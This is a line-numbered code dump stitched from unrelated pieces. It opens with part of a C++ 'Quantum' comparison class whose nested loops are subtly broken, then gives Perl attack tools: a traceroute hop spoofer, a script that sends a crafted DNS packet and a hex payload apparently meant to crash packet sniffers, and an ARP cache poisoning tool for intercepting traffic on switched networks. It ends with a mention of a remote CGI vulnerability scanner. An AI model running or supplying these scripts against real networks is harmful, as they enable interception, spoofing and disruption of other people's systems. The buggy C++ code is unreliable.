  836. Quantum all(int numArgs, int array[]);
  837. Quantum all(int numArgs, double first, ...);
  838. Quantum all(int numArgs, int first, ...);
  839. Quantum all(int numArgs, char first, ...);
  840.  
  841. // BEGINNING OF SUPERPOSITIONING FUNCTIONS
  842.  
  843. // any() functions
  844. Quantum any(int numArgs, double array[])
  845. {
  846. Quantum temp;
  847. temp.type = true;
  848. for (int i = 0; i < numArgs; i++)
  849. temp.data.push_back(array[i]);
  850. return temp;
  851. }
  852.  
  853. Quantum any(int numArgs, int array[])
  854. {
  855. Quantum temp;
  856. temp.type = true;
  857. for (int i = 0; i < numArgs; i++)
  858. temp.data.push_back(double(array[i]));
  859. return temp;
  860. }
  861.  
  862. Quantum any(char array[])
  863. {
  864. Quantum temp;
  865. temp.type = true;
  866. int i = 0;
  867. for (i = 0; array[i] != '\0'; i++)
  868. temp.data.push_back(double(array[i]));
  869. array[i] = 0;
  870. return temp;
  871. }
  872.  
  873. Quantum any(int numArgs, double first, ...)
  874. {
  875. va_list ap;
  876. va_start(ap, first);
  877. Quantum temp;
  878. temp.type = true;
  879. temp.data.push_back(first);
  880. for (int i = 1; i < numArgs; i++)
  881. temp.data.push_back(va_arg(ap, double));
  882. va_end(ap);
  883. return temp;
  884. }
  885.  
  886. Quantum any(int numArgs, int first, ...)
  887. {
  888. va_list ap;
  889. va_start(ap, first);
  890. Quantum temp;
  891. temp.type = true;
  892. temp.data.push_back(first);
  893. for (int i = 1; i < numArgs; i++)
  894. temp.data.push_back(va_arg(ap, int));
  895. va_end(ap);
  896. return temp;
  897. }
  898.  
  899. Quantum any(int numArgs, char first, ...)
  900. {
  901. va_list ap;
  902. va_start(ap, first);
  903. Quantum temp;
  904. temp.type = true;
  905. temp.data.push_back(first);
  906. for (int i = 1; i < numArgs; i++)
  907. temp.data.push_back(va_arg(ap, char));
  908. va_end(ap);
  909. return temp;
  910. }
  911.  
  912. // all() functions
  913. Quantum all(int numArgs, double array[])
  914. {
  915. Quantum temp;
  916. temp.type = false;
  917. for (int i = 0; i < numArgs; i++)
  918. temp.data.push_back(array[i]);
  919. return temp;
  920. }
  921.  
  922. Quantum all(int numArgs, int array[])
  923. {
  924. Quantum temp;
  925. temp.type = false;
  926. for (int i = 0; i < numArgs; i++)
  927. temp.data.push_back(double(array[i]));
  928. return temp;
  929. }
  930.  
  931. Quantum all(char array[])
  932. {
  933. Quantum temp;
  934. temp.type = false;
  935. int i = 0;
  936. for (i = 0; array[i] != '\0'; i++)
  937. temp.data.push_back(double(array[i]));
  938. array[i] = 0;
  939. return temp;
  940. }
  941.  
  942. Quantum all(int numArgs, double first, ...)
  943. {
  944. va_list ap;
  945. va_start(ap, first);
  946. Quantum temp;
  947. temp.type = false;
  948. temp.data.push_back(first);
  949. for (int i = 1; i < numArgs; i++)
  950. temp.data.push_back(va_arg(ap, double));
  951. va_end(ap);
  952. return temp;
  953. }
  954.  
  955. Quantum all(int numArgs, int first, ...)
  956. {
  957. va_list ap;
  958. va_start(ap, first);
  959. Quantum temp;
  960. temp.type = false;
  961. temp.data.push_back(first);
  962. for (int i = 1; i < numArgs; i++)
  963. temp.data.push_back(va_arg(ap, int));
  964. va_end(ap);
  965. return temp;
  966. }
  967.  
  968. Quantum all(int numArgs, char first, ...)
  969. {
  970. va_list ap;
  971. va_start(ap, first);
  972. Quantum temp;
  973. temp.type = false;
  974. temp.data.push_back(first);
  975. for (int i = 1; i < numArgs; i++)
  976. temp.data.push_back(va_arg(ap, char));
  977. va_end(ap);
  978. return temp;
  979. }
  980.  
  981. // END OF SUPERPOSITIONING FUNCTIONS
  982.  
  983. // BEGINNING OF OVERLOADED OPERATORS (Quantum ? Double)
  984.  
  985. bool Quantum::operator==(double x)
  986. {
  987. register int i = 0;
  988.  
  989. // any()
  990. if (type == true)
  991. {
  992. for (; i < data.size(); i++)
  993. if (data[i] == x)
  994. return true;
  995. return false;
  996. }
  997.  
  998. // all()
  999. else
  1000. {
  1001. for (; i < data.size(); i++)
  1002. if (data[i] != x)
  1003. return false;
  1004. return true;
  1005. }
  1006.  
  1007. return false;
  1008. }
  1009.  
  1010. bool Quantum::operator!=(double x)
  1011. {
  1012. register int i = 0;
  1013.  
  1014. // any()
  1015. if (type == true)
  1016. {
  1017. for (; i < data.size(); i++)
  1018. if (data[i] != x)
  1019. return true;
  1020. return false;
  1021. }
  1022.  
  1023. // all()
  1024. else
  1025. {
  1026. for (; i < data.size(); i++)
  1027. if (data[i] == x)
  1028. return false;
  1029. return true;
  1030. }
  1031.  
  1032. return false;
  1033. }
  1034.  
  1035. bool Quantum::operator>=(double x)
  1036. {
  1037. register int i = 0;
  1038.  
  1039. // any()
  1040. if (type == true)
  1041. {
  1042. for (; i < data.size(); i++)
  1043. if (data[i] >= x)
  1044. return true;
  1045. return false;
  1046. }
  1047.  
  1048. // all()
  1049. else
  1050. {
  1051. for (; i < data.size(); i++)
  1052. if (data[i] < x)
  1053. return false;
  1054. return true;
  1055. }
  1056.  
  1057. return false;
  1058. }
  1059.  
  1060. bool Quantum::operator<=(double x)
  1061. {
  1062. register int i = 0;
  1063.  
  1064. // any()
  1065. if (type == true)
  1066. {
  1067. for (; i < data.size(); i++)
  1068. if (data[i] <= x)
  1069. return true;
  1070. return false;
  1071. }
  1072.  
  1073. // all()
  1074. else
  1075. {
  1076. for (; i < data.size(); i++)
  1077. if (data[i] > x)
  1078. return false;
  1079. return true;
  1080. }
  1081.  
  1082. return false;
  1083. }
  1084.  
  1085. bool Quantum::operator>(double x)
  1086. {
  1087. register int i = 0;
  1088.  
  1089. // any()
  1090. if (type == true)
  1091. {
  1092. for (; i < data.size(); i++)
  1093. if (data[i] > x)
  1094. return true;
  1095. return false;
  1096. }
  1097.  
  1098. // all()
  1099. else
  1100. {
  1101. for (; i < data.size(); i++)
  1102. if (data[i] <= x)
  1103. return false;
  1104. return true;
  1105. }
  1106.  
  1107. return false;
  1108. }
  1109.  
  1110. bool Quantum::operator<(double x)
  1111. {
  1112. register int i = 0;
  1113.  
  1114. // any()
  1115. if (type == true)
  1116. {
  1117. for (; i < data.size(); i++)
  1118. if (data[i] < x)
  1119. return true;
  1120. return false;
  1121. }
  1122.  
  1123. // all()
  1124. else
  1125. {
  1126. for (; i < data.size(); i++)
  1127. if (data[i] >= x)
  1128. return false;
  1129. return true;
  1130. }
  1131.  
  1132. return false;
  1133. }
  1134.  
  1135. // END OF OVERLOADED OPERATORS (Quantum ? Double)
  1136.  
  1137. // BEGINNING OF OVERLOADED OPERATORS (Quantum ? Quantum)
  1138.  
  1139. bool Quantum::operator==(Quantum x)
  1140. {
  1141. register int i = 0, j = 0;
  1142.  
  1143. // any()
  1144. if (type == true)
  1145. {
  1146. // x.any()
  1147. if (x.type == true)
  1148. {
  1149. for (; i < data.size(); i++)
  1150. for (; j < x.data.size(); j++)
  1151. if (data[i] == x.data[j])
  1152. return true;
  1153. return false;
  1154. }
  1155.  
  1156. // x.all()
  1157. else
  1158. {
  1159. for (; i < data.size(); i++)
  1160. {
  1161. bool success = true;
  1162. for (; j < x.data.size(); j++)
  1163. if (data[i] != x.data[j])
  1164. success = false;
  1165. if (success == true)
  1166. return true;
  1167. }
  1168. return false;
  1169. }
  1170. }
  1171.  
  1172. // all()
  1173. else
  1174. {
  1175. // x.any()
  1176. if (x.type == true)
  1177. {
  1178. for (; i < data.size(); i++)
  1179. {
  1180. bool success = false;
  1181. for (; j < x.data.size(); j++)
  1182. if (data[i] == x.data[j])
  1183. success = true;
  1184. if (success == false)
  1185. return false;
  1186. }
  1187. return true;
  1188. }
  1189.  
  1190. // x.all()
  1191. else
  1192. for (; i < data.size(); i++)
  1193. for (; j < x.data.size(); j++)
  1194. if (data[i] != x.data[j])
  1195. return false;
  1196. return true;
  1197. }
  1198.  
  1199. return false;
  1200. }
  1201.  
  1202. bool Quantum::operator!=(Quantum x)
  1203. {
  1204. register int i = 0, j = 0;
  1205.  
  1206. // any()
  1207. if (type == true)
  1208. {
  1209. // x.any()
  1210. if (x.type == true)
  1211. {
  1212. for (; i < data.size(); i++)
  1213. for (; j < x.data.size(); j++)
  1214. if (data[i] != x.data[j])
  1215. return true;
  1216. return false;
  1217. }
  1218.  
  1219. // x.all()
  1220. else
  1221. {
  1222. for (; i < data.size(); i++)
  1223. for (; j < x.data.size(); j++)
  1224. if (data[i] != x.data[j])
  1225. return true;
  1226. return false;
  1227. }
  1228. }
  1229.  
  1230. // all()
  1231. else
  1232. {
  1233. // x.any()
  1234. if (x.type == true)
  1235. {
  1236. for (; i < data.size(); i++)
  1237. {
  1238. bool success = false;
  1239. for (; j < x.data.size(); j++)
  1240. if (data[i] != x.data[j])
  1241. success = true;
  1242. if (success == false)
  1243. return false;
  1244. }
  1245. return true;
  1246. }
  1247.  
  1248. // x.all()
  1249. else
  1250. for (; i < data.size(); i++)
  1251. for (; j < x.data.size(); j++)
  1252. if (data[i] == x.data[j])
  1253. return false;
  1254. return true;
  1255. }
  1256.  
  1257. return false;
  1258. }
  1259.  
  1260. bool Quantum::operator<=(Quantum x)
  1261. {
  1262. register int i = 0, j = 0;
  1263.  
  1264. // any()
  1265. if (type == true)
  1266. {
  1267. // x.any()
  1268. if (x.type == true)
  1269. {
  1270. for (; i < data.size(); i++)
  1271. for (; j < x.data.size(); j++)
  1272. if (data[i] <= x.data[j])
  1273. return true;
  1274. return false;
  1275. }
  1276.  
  1277. // x.all()
  1278. else
  1279. {
  1280. for (; i < data.size(); i++)
  1281. for (; j < x.data.size(); j++)
  1282. if (data[i] <= x.data[j])
  1283. return true;
  1284. return false;
  1285. }
  1286. }
  1287.  
  1288. // all()
  1289. else
  1290. {
  1291. // x.any()
  1292. if (x.type == true)
  1293. {
  1294. for (; i < data.size(); i++)
  1295. {
  1296. bool success = false;
  1297. for (; j < x.data.size(); j++)
  1298. if (data[i] <= x.data[j])
  1299. success = true;
  1300. if (success == false)
  1301. return false;
  1302. }
  1303. return true;
  1304. }
  1305.  
  1306. // x.all()
  1307. else
  1308. for (; i < data.size(); i++)
  1309. for (; j < x.data.size(); j++)
  1310. if (data[i] > x.data[j])
  1311. return false;
  1312. return true;
  1313. }
  1314.  
  1315. return false;
  1316. }
  1317.  
  1318. bool Quantum::operator>=(Quantum x)
  1319. {
  1320. register int i = 0, j = 0;
  1321.  
  1322. // any()
  1323. if (type == true)
  1324. {
  1325. // x.any()
  1326. if (x.type == true)
  1327. {
  1328. for (; i < data.size(); i++)
  1329. for (; j < x.data.size(); j++)
  1330. if (data[i] >= x.data[j])
  1331. return true;
  1332. return false;
  1333. }
  1334.  
  1335. // x.all()
  1336. else
  1337. {
  1338. for (; i < data.size(); i++)
  1339. for (; j < x.data.size(); j++)
  1340. if (data[i] >= x.data[j])
  1341. return true;
  1342. return false;
  1343. }
  1344. }
  1345.  
  1346. // all()
  1347. else
  1348. {
  1349. // x.any()
  1350. if (x.type == true)
  1351. {
  1352. for (; i < data.size(); i++)
  1353. {
  1354. bool success = false;
  1355. for (; j < x.data.size(); j++)
  1356. if (data[i] >= x.data[j])
  1357. success = true;
  1358. if (success == false)
  1359. return false;
  1360. }
  1361. return true;
  1362. }
  1363.  
  1364. // x.all()
  1365. else
  1366. for (; i < data.size(); i++)
  1367. for (; j < x.data.size(); j++)
  1368. if (data[i] < x.data[j])
  1369. return false;
  1370. return true;
  1371. }
  1372.  
  1373. return false;
  1374. }
  1375.  
  1376. bool Quantum::operator<(Quantum x)
  1377. {
  1378. register int i = 0, j = 0;
  1379.  
  1380. // any()
  1381. if (type == true)
  1382. {
  1383. // x.any()
  1384. if (x.type == true)
  1385. {
  1386. for (; i < data.size(); i++)
  1387. for (; j < x.data.size(); j++)
  1388. if (data[i] < x.data[j])
  1389. return true;
  1390. return false;
  1391. }
  1392.  
  1393. // x.all()
  1394. else
  1395. {
  1396. for (; i < data.size(); i++)
  1397. for (; j < x.data.size(); j++)
  1398. if (data[i] < x.data[j])
  1399. return true;
  1400. return false;
  1401. }
  1402. }
  1403.  
  1404. // all()
  1405. else
  1406. {
  1407. // x.any()
  1408. if (x.type == true)
  1409. {
  1410. for (; i < data.size(); i++)
  1411. {
  1412. bool success = false;
  1413. for (; j < x.data.size(); j++)
  1414. if (data[i] < x.data[j])
  1415. success = true;
  1416. if (success == false)
  1417. return false;
  1418. }
  1419. return true;
  1420. }
  1421.  
  1422. // x.all()
  1423. else
  1424. for (; i < data.size(); i++)
  1425. for (j = 0; j < x.data.size(); j++)
  1426. if (data[i] >= x.data[j])
  1427. return false;
  1428. return true;
  1429. }
  1430.  
  1431. return false;
  1432. }
  1433.  
  1434. bool Quantum::operator>(Quantum x)
  1435. {
  1436. register int i = 0, j = 0;
  1437.  
  1438. // any()
  1439. if (type == true)
  1440. {
  1441. // x.any()
  1442. if (x.type == true)
  1443. {
  1444. for (; i < data.size(); i++)
  1445. for (; j < x.data.size(); j++)
  1446. if (data[i] > x.data[j])
  1447. return true;
  1448. return false;
  1449. }
  1450.  
  1451. // x.all()
  1452. else
  1453. {
  1454. for (; i < data.size(); i++)
  1455. for (; j < x.data.size(); j++)
  1456. if (data[i] > x.data[j])
  1457. return true;
  1458. return false;
  1459. }
  1460. }
  1461.  
  1462. // all()
  1463. else
  1464. {
  1465. // x.any()
  1466. if (x.type == true)
  1467. {
  1468. for (; i < data.size(); i++)
  1469. {
  1470. bool success = false;
  1471. for (; j < x.data.size(); j++)
  1472. if (data[i] > x.data[j])
  1473. success = true;
  1474. if (success == false)
  1475. return false;
  1476. }
  1477. return true;
  1478. }
  1479.  
  1480. // x.all()
  1481. else
  1482. for (; i < data.size(); i++)
  1483. for (; j < x.data.size(); j++)
  1484. if (data[i] <= x.data[j])
  1485. return false;
  1486. return true;
  1487. }
  1488.  
  1489. return false;
  1490. }
  1491.  
  1492. // END OF OVERLOADED OPERATORS (Quantum ? Quantum)
  1493.  
  1494. #endif QUANTUM_H_
  1495.  
  1496.  
  1497. #!/usr/bin/perl
  1498.  
  1499. # traceroute hop spoofer!
  1500. # -samy [cp5@LucidX.com]
  1501.  
  1502. use Packet::Inject;
  1503. use Packet::IP;
  1504. use Packet::Ethernet;
  1505. use Packet::ICMP;
  1506. use Packet::Definitions;
  1507. use Packet::Lookup;
  1508. use Packet::Sniff;
  1509.  
  1510. use strict;
  1511.  
  1512. die "usage: $0 <spoof 1> <spoof 2> ...\n" unless my @spoofs = @ARGV;
  1513.  
  1514. my $len = pack('I', 0);
  1515. my @mib = (
  1516. &Packet::Definitions::CTL_NET,
  1517. &Packet::Definitions::AF_ROUTE,
  1518. 0,
  1519. &Packet::Definitions::AF_LINK,
  1520. &Packet::Definitions::NET_RT_IFLIST,
  1521. 0
  1522. );
  1523. my $mib = pack('iiiiii', @mib);
  1524. syscall(&Packet::Definitions::SYS___sysctl, $mib, 6, 0, $len, 0, 0);
  1525. my $buf = pack('a' . unpack('I', $len), '');
  1526. syscall(&Packet::Definitions::SYS___sysctl, $mib, 6, $buf, $len, 0, 0);
  1527. my ($device) = ($buf =~ /.*?(\w{2,5}\d+)/);
  1528.  
  1529. # convert hosts to ip now to save time when sending packets
  1530. foreach (@spoofs) {
  1531. $_ = quad2int(&Packet::Lookup::host_to_ip($_));
  1532. }
  1533.  
  1534.  
  1535. my $id = int(rand(2 ** 16));
  1536. my $total = @spoofs;
  1537. my $ethernet = Packet::Ethernet->new();
  1538. my $ip = Packet::IP ->new();
  1539. my $inject = Packet::Inject ->new(device => $device);
  1540. my $sniff = Packet::Sniff ->new(device => $device);
  1541. my $sendeth = Packet::Ethernet->new(
  1542. type => 0x0800,
  1543. );
  1544.  
  1545.  
  1546. $inject->open() || die $inject->{errbuf};
  1547. $sniff ->open() || die $inject->{errbuf};
  1548. $sniff ->loop(0, \&parse, $total);
  1549.  
  1550.  
  1551. sub parse {
  1552. my ($total, $hdr, $packet, $s) = @_;
  1553. my ($sendip, $sendicmp);
  1554.  
  1555. $ethernet->decode($packet);
  1556. return unless $ethernet->type == 0x0800;
  1557.  
  1558. $ip->decode($ethernet->data);
  1559. return unless $ip->ttl <= ($total + 1);
  1560.  
  1561. $sendeth->{dest_mac} = $ethernet->src_mac;
  1562.  
  1563. # this is where we send the final packet and get device name
  1564. if ($ip->ttl == $total + 1) {
  1565. $sendicmp = Packet::ICMP->new(
  1566. type => &Packet::ICMP::ICMP_DEST_UNREACH,
  1567. code => &Packet::ICMP::ICMP_PORT_UNREACH,
  1568. data => "\0" x 4 . substr($ip->encode, 0, 28),
  1569. );
  1570.  
  1571. $sendip = Packet::IP->new(
  1572. src_ip => $ip->dest_ip,
  1573. dest_ip => $ip->src_ip,
  1574. id => $id++,
  1575. proto => 1,
  1576. data => $sendicmp,
  1577. );
  1578.  
  1579. $inject->write(packet => $sendeth . $sendip);
  1580.  
  1581. print "Port Unreachable sent to " . int2quad($ip->src_ip) . "\n";
  1582. }
  1583.  
  1584. else {
  1585. $sendicmp = Packet::ICMP->new(
  1586. type => &Packet::ICMP::ICMP_TIME_EXCEED,
  1587. code => &Packet::ICMP::ICMP_TTL_EXCEED,
  1588. data => "\0" x 4 . substr($ip->encode, 0, 28),
  1589. );
  1590. $sendip = Packet::IP->new(
  1591. src_ip => $spoofs[$ip->ttl-1],
  1592. dest_ip => $ip->src_ip,
  1593. id => $id++,
  1594. proto => 1,
  1595. data => $sendicmp,
  1596. );
  1597.  
  1598. $inject->write(packet => $sendeth . $sendip);
  1599.  
  1600. print "Time Exceeded In Transit sent to " . int2quad($ip->src_ip) .
  1601. " from " . int2quad($spoofs[$ip->ttl-1]) . "\n";
  1602. }
  1603.  
  1604. }
  1605.  
  1606.  
  1607. sub quad2int
  1608. {
  1609. my $val = shift;
  1610. my $counter = 3;
  1611. my $i;
  1612. my $result;
  1613.  
  1614. for my $i (split/\./, $val) {
  1615. $result += $i * 256 ** $counter--;
  1616. }
  1617.  
  1618. return ($result);
  1619. }
  1620.  
  1621. sub int2quad
  1622. {
  1623. my $val = shift;
  1624. my $result;
  1625.  
  1626. if ($val =~ /^\d+$/) {
  1627. $result = join('.', unpack("C4", pack('N', $val)));
  1628. }
  1629.  
  1630. return ($result);
  1631. }
  1632.  
  1633.  
  1634. #!/usr/bin/perl
  1635.  
  1636. use IO::Socket;
  1637.  
  1638. unless (@ARGV == 2) {
  1639. die "usage: $0 <host to kill sniffs> <host with open port 80 [that host can sniff]>\n";
  1640. }
  1641.  
  1642. $tcpd1 = "eea600000001000000000000c00c00010001";
  1643. $urls1 =~ s/\s//g;
  1644. $urls2 = "GET / HTTP/1.0\nHost: do.not.enter.LucidX.com\n\n";
  1645.  
  1646. $sock = IO::Socket::INET->new(
  1647. PeerAddr => "do.not.enter.LucidX.com",
  1648. PeerPort => 80,
  1649. Proto => "tcp",
  1650. ) or print STDERR "Can't open socket: $!\n";
  1651. print $sock $urls2;
  1652. close($sock);
  1653.  
  1654. $sock = IO::Socket::INET->new(
  1655. PeerAddr => $ARGV[0],
  1656. PeerPort => 53,
  1657. Proto => "udp",
  1658. ) or print STDERR "Can't open socket: $!\n";
  1659. print $sock pack("H*", $tcpd1);
  1660. close($sock);
  1661.  
  1662. $sock = IO::Socket::INET->new(
  1663. PeerAddr => $ARGV[1],
  1664. PeerPort => 80,
  1665. Proto => "tcp",
  1666. ) or print STDERR "Can't open socket: $!\n";
  1667. print $sock pack("H*", $urls1);
  1668. close($sock);
  1669.  
  1670. BEGIN {
  1671. $urls1 = "
  1672. 52 65 66 65 72 65 72 3a 20 68 74 74 70 3a 2f 2f
  1673. 64 6f 6e 6f 74 67 6f 74 6f 2e 4c 75 63 69 64 58
  1674. 2e 63 6f 6d 0d 0a 0d 0a 00 00 00 00 8b 00 00 00
  1675. 00 00 00 00 53 05 00 00 ba 03 00 00 0e 05 00 00
  1676. e5 04 00 00 19 01 00 00 24 03 00 00 00 00 00 00
  1677. ce 04 00 00 d0 05 00 00 b8 04 00 00 65 04 00 00
  1678. 32 04 00 00 ca 05 00 00 0d 01 00 00 3b 06 00 00
  1679. 01 01 00 00 3a 06 00 00 a0 01 00 00 89 04 00 00
  1680. 00 00 00 00 8a 01 00 00 db 01 00 00 00 00 00 00
  1681. d8 01 00 00 3d 03 00 00 4f 04 00 00 66 05 00 00
  1682. 00 00 00 00 2a 00 00 00 26 06 00 00 1d 05 00 00
  1683. 6b 02 00 00 d3 04 00 00 6b 05 00 00 fe 05 00 00
  1684. 93 05 00 00 d6 01 00 00 c7 02 00 00 5d 03 00 00
  1685. 95 04 00 00 00 00 00 00 50 00 00 00 56 03 00 00
  1686. 00 00 00 00 1e 01 00 00 fa 03 00 00 cc 01 00 00
  1687. b7 00 00 00 d2 05 00 00 3c 03 00 00 00 00 00 00
  1688. bf 04 00 00 00 00 00 00 00 00 00 00 8b 05 00 00
  1689. c3 03 00 00 00 00 00 00 01 05 00 00 a6 05 00 00
  1690. ae 05 00 00 00 00 00 00 9f 03 00 00 84 04 00 00
  1691. 0b 04 00 00 5a 02 00 00 d0 04 00 00 96 05 00 00
  1692. 1b 05 00 00 f0 02 00 00 11 06 00 00 72 00 00 00
  1693. 7a 01 00 00 22 02 00 00 00 00 00 00 c1 03 00 00
  1694. fe 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  1695. 58 00 00 00 7f 00 00 00 00 00 00 00 cd 03 00 00
  1696. c0 02 00 00 8e 03 00 00 08 05 00 00 26 00 00 00
  1697. 00 00 00 00 8f 04 00 00 00 00 00 00 a8 05 00 00
  1698. 42 05 00 00 3f 04 00 00 7f 03 00 00 a4 03 00 00
  1699. 12 04 00 00 d3 00 00 00 a3 03 00 00 45 06 00 00
  1700. 44 02 00 00 09 06 00 00 52 04 00 00 1b 06 00 00
  1701. 00 05 00 00 56 04 00 00 00 00 00 00 f2 02 00 00
  1702. 16 05 00 00 00 00 00 00 e9 05 00 00 7d 05 00 00
  1703. 33 05 00 00 c5 00 00 00 77 04 00 00 0b 02 00 00
  1704. fc 04 00 00 e1 02 00 00 c3 04 00 00 06 06 00 00
  1705. a1 03 00 00 e0 02 00 00 36 01 00 00 00 00 00 00
  1706. 72 01 00 00 b3 d8 04 28 ce fa 06 28 ce fa 06 28
  1707. f3 03 00 00 62 d8 04 28 c8 b2 05 28 20 00 06 28
  1708. 00 00 00 00 00 00 00 00 e3 04 00 00 20 00 06 00
  1709. 7c fa bf bf 0f d8 04 28 ce fa 06 28 47 b7 a1 0a
  1710. 00 e1 05 28 00 00 00 00 c8 b2 05 28 e0 4b 0e 28
  1711. ce fa 06 28 00 00 00 00 67 05 00 00 f8 00 00 00
  1712. da 02 00 00 00 00 00 00 00 e1 05 28 00 00 00 00
  1713. ec fa bf bf 4b d6 04 28 ce fa 06 28 47 b7 a1 0a
  1714. e8 a1 05 28 dc fa bf bf b3 d8 04 28 1c 84 04 08
  1715. 93 d1 06 28 7e e8 04 28 62 d8 04 28 c8 b2 05 28
  1716. 20 00 06 28 00 00 00 00 c8 b2 05 28 80 b7 05 28
  1717. 20 00 06 01 00 fb bf bf 0f d8 04 28 1c 84 04 08
  1718. 04 cf 8a 06 00 e1 05 28 01 00 00 00 c8 b2 05 28
  1719. 00 e0 05 28 1c 84 04 08 02 00 00 00 02 00 00 00
  1720. 1c fb bf bf 65 c9 04 28 08 00 00 00 00 e1 05 28
  1721. 03 00 00 01 70 fb bf bf 4b d6 04 28 1c 84 04 08
  1722. 04 cf 8a 06 e8 a1 05 28 60 fb bf bf 01 00 00 00
  1723. 64 fb bf bf 6b c4 04 28 f0 a1 05 28 00 e0 05 28
  1724. 00 e1 05 28 ea c3 04 28 8e d5 04 28 c8 b2 05 28
  1725. 00 e0 05 28 1c 84 04 08 04 00 00 00 80 b7 05 28
  1726. 7c fb bf bf 01 69 07 28 00 e1 05 28 ec b3 06 28
  1727. f8 fb bf 01 00 e1 05 28 28 fb bf bf 02 00 00 00
  1728. 02 00 00 00 d0 fb bf bf 36 c0 04 28 1c 84 04 08
  1729. 04 cf 8a 06 00 e0 05 28 cc fb bf bf 01 00 00 00
  1730. 00 e0 05 28 d0 fb bf bf 16 c0 04 28 1c 84 04 08
  1731. 00 00 00 00 a4 df 04 28 ea bf 04 28 c8 b2 05 28
  1732. 00 e0 05 28 78 9b 04 08 bd de 04 28 c8 b2 05 28
  1733. 00 e0 05 28 aa b8 04 28 30 83 04 08 c8 b2 05 01
  1734. 00 e1 05 28 00 fc bf bf 6e b9 04 28 00 20 06 28
  1735. 00 e0 05 28 fc fb bf bf 01 00 00 00 02 00 00 00 ";
  1736. }
  1737.  
  1738.  
  1739. #!/usr/bin/perl
  1740.  
  1741. # ARPredir.pl - by Samy Kamkar [CommPort5@LucidX.com]
  1742. # requires Packet (by Samy Kamkar and David Hulton)
  1743.  
  1744. # this will arp poisen a host (all hosts by default) on a local network
  1745. # and will allow you to sniff a specific host on your network without
  1746. # even enabling promiscuous mode on your ethernet device, and this will
  1747. # even work if the network is switched (that's the main purpose)
  1748.  
  1749. # offset is usually 78 or 80 for openbsd and 94 for freebsd
  1750.  
  1751. # usage: ./arpredir.pl [-t target] [-i device] offset host
  1752.  
  1753. use Packet::Device; # module for getting local net interface and network info
  1754. use Packet::Lookups; # module for converting values
  1755. use Packet::Inject; # module for creating and sending packets
  1756. use Packet::Inject::ARP; # module for creating an ARP header
  1757. use Packet::Inject::Ethernet; # module for creating an ethernet header
  1758.  
  1759. $SIG{INT} = \&exit; # when exiting go to &exit to fix the arp cache tables
  1760. my ($off, $host, $dev, $targ) = &begin; # get arguements
  1761. unless ($targ) { # target not specified
  1762. $targ = "255.255.255.255"; # target will default to broadcast
  1763. $arp{tpa} = "00000000";
  1764. }
  1765. else {
  1766. $arp{tpa} = $targ;
  1767. }
  1768. unless ($dev) { # no device specified
  1769. $dev = if_dev(); # figure out main network device
  1770. }
  1771. $eth{src} = dev2mac($dev); # always your local mac
  1772. $eth{dst} = ip2mac($off, $targ); # always the target ip's mac [broadcast unless def'd with -t]
  1773. $arp{tha} = $eth{dst}; # always the target ip's mac [broadcast unless def'd with -t]
  1774. $arp{sha} = $eth{src}; # the mac that should receieve the data [at first, yours]
  1775. $arp{spa} = $host; # the ip that should be assigned to your mac [def'd by <host>]
  1776. $arp{dmc} = ip2mac($off, $host); # the original mac address of the ip
  1777. $pkt = new Packet::Inject( # create a new packet object
  1778. ETHERNET => { # Ethernet header
  1779. dest_mac => "ff:ff:ff:ff:ff:ff", # dest mac
  1780. src_mac => $eth{src}, # sourc mac
  1781. },
  1782. ARP => { # ARP header
  1783. opcode => 1, # ARP who-has
  1784. tha => "00:00:00:00:00:00", # dest mac (repeated)
  1785. sha => $arp{sha}, # source mac (repeated)
  1786. spa => if_addr($dev), # your real ip
  1787. tpa => $arp{spa}, # the host's ip
  1788. }
  1789. );
  1790. unless ($eth{dst}) { # target wasn't in the arp cache table
  1791. $pkt->send(1, $dev); # send the packet once
  1792. }
  1793. unless ($arp{dmc}) { # host wasn't in the arp cache table
  1794. $pkt->send(1, $dev); # send the packet once
  1795. }
  1796. if (!$eth{dst} or !$arp{dmc}) { # one, or even both, of the macs weren't found
  1797. $eth{dst} = ip2mac($off, $targ); # retrieve proper mac
  1798. $arp{dmc} = ip2mac($off, $host); # get new host mac
  1799. $arp{tha} = $eth{dst}; # reset the value to what it should be
  1800. }
  1801. $pkt->{ETHERNET}{dest_mac} = $eth{dst}; # change dest mac to new dest mac
  1802. $pkt->{ARP}{opcode} = 2; # ARP is-at
  1803. $pkt->{ARP}{tha} = $arp{tha}; # dest mac (repeated)
  1804. $pkt->{ARP}{spa} = $arp{spa}; # the ip that our mac address is pretending to be
  1805. $pkt->{ARP}{tpa} = $arp{tpa}; # the ip that should get the arps
  1806.  
  1807. while (1) { # infinite loop until SIGINT is called
  1808. $pkt->send(1, $dev); # send packet
  1809. print "$arp{sha} $arp{tha} 0806 42: arp reply $arp{spa} is-at $arp{sha}\n";
  1810. sleep 2; # wait 2 seconds
  1811. }
  1812.  
  1813. sub exit { # SIGINT has been called
  1814. $SIG{INT} = sub { }; # make sure SIGINT doesn't do anything anymore
  1815. $pkt->{ARP}{sha} = $arp{dmc}; # reroute the ip to the correct mac address
  1816. foreach (1 .. 2) { # loop twice for 2 packets
  1817. $pkt->send(1, $dev); # send packet
  1818. print "$arp{dmc} $arp{tha} 0806 42: arp reply $arp{spa} is-at $arp{dmc}\n";
  1819. sleep 1; # wait a second
  1820. }
  1821. $pkt->send(1, $dev); # send another (and last) packet and die
  1822. die "$arp{dmc} $arp{tha} 0806 42: arp reply $arp{spa} is-at $arp{dmc}\n";
  1823. }
  1824.  
  1825. sub error {
  1826. print "offsets:\n\topenbsd: 78 or 80\n\tfreebsd: 94\n\tlinux: unknown to the human race for all it's worth\n";
  1827. die "usage: $0 [-t target] [-i device] offset host\n"; # incorrect arguements called
  1828. }
  1829.  
  1830. sub begin {
  1831. if (@ARGV < 1 or @ARGV > 5) {
  1832. &error;
  1833. }
  1834. my $host = pop(@ARGV);
  1835. my $off = pop(@ARGV);
  1836. my ($dev, $targ);
  1837. for ($i = 0; $i < @ARGV; $i++) {
  1838. if ($ARGV[$i] =~ /^[^-]/ and $ARGV[$i-1] =~ /^[^-]/) {
  1839. &error;
  1840. }
  1841. if ($ARGV[$i] =~ /^-/) {
  1842. if ($ARGV[$i] =~ /^-([a-z]+)$/i) {
  1843. if ($1 eq 'i') {
  1844. $dev = $ARGV[$i+1];
  1845. }
  1846. elsif ($1 eq 't') {
  1847. $targ = $ARGV[$i+1];
  1848. }
  1849. }
  1850. else {
  1851. &error;
  1852. }
  1853. }
  1854. }
  1855. return($off, $host, $dev, $targ);
  1856. }
  1857.  
  1858.  
  1859. screamingCobra - automated remote CGI vulnerability discovery
  1860.  
  1861.  
